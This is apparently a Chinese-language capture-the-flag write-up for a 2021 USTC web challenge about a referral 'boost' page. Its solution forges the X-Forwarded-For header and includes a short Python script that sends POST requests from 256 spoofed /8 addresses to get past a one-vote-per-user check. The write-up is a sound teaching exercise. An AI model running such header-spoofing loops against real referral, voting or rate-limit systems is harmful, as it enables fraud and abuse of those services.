跳转至
2021 | 中国科学技术大学第八届信息安全大赛 | Web

FLAG 助力大红包

题目

“听说没？【大砍刀】平台又双叒做活动啦！参与活动就送 0.5 个 flag 呢，攒满 1 个 flag 即可免费提取！”

“还有这么好的事情？我也要参加！”

“快点吧！我已经拿到 flag 了呢！再不参加 flag 就要发完了呢。”

“那怎么才能参加呢？”

“这还不简单！点击下面的链接就行”

解题思路

  • 类似于并夕夕的助力 23333
    大砍刀

  • 主要是向助力链接发送含 IP 地址的 POST 请求 

    1
    curl '<invite-url>' -X POST --data-raw 'ip=xxx.xxx.xxx.xxx'

  • 众所周知，同一用户不能重复助力，此处视同一 /8 地址为重复用户（还挺严格x）
    失败！重复的 /8 地址

  • 不能直接修改 POST 请求中的 IP 地址
    失败！检测到前后端检测 IPv4 地址不匹配

  • 服务端通过 HTTP 请求头中的 X-Forwarded-For 识别客户端的原始 IP，接下来就是伪造 IP 地址 疯狂 助力 🤪

     1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
    import requests
from time import sleep

for i in range(256):
    ip = f'{i}.1.1.1'   # /8
    header = {
        'X-Forwarded-For': ip,
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36'
    }
    res = requests.post('<invite-url>', data=dict(ip=ip), headers=header).content.decode()
    sleep(2)

参考资料

最后更新: 2021年10月30日 16:11:50
Contributors: YanhuiJessica

评论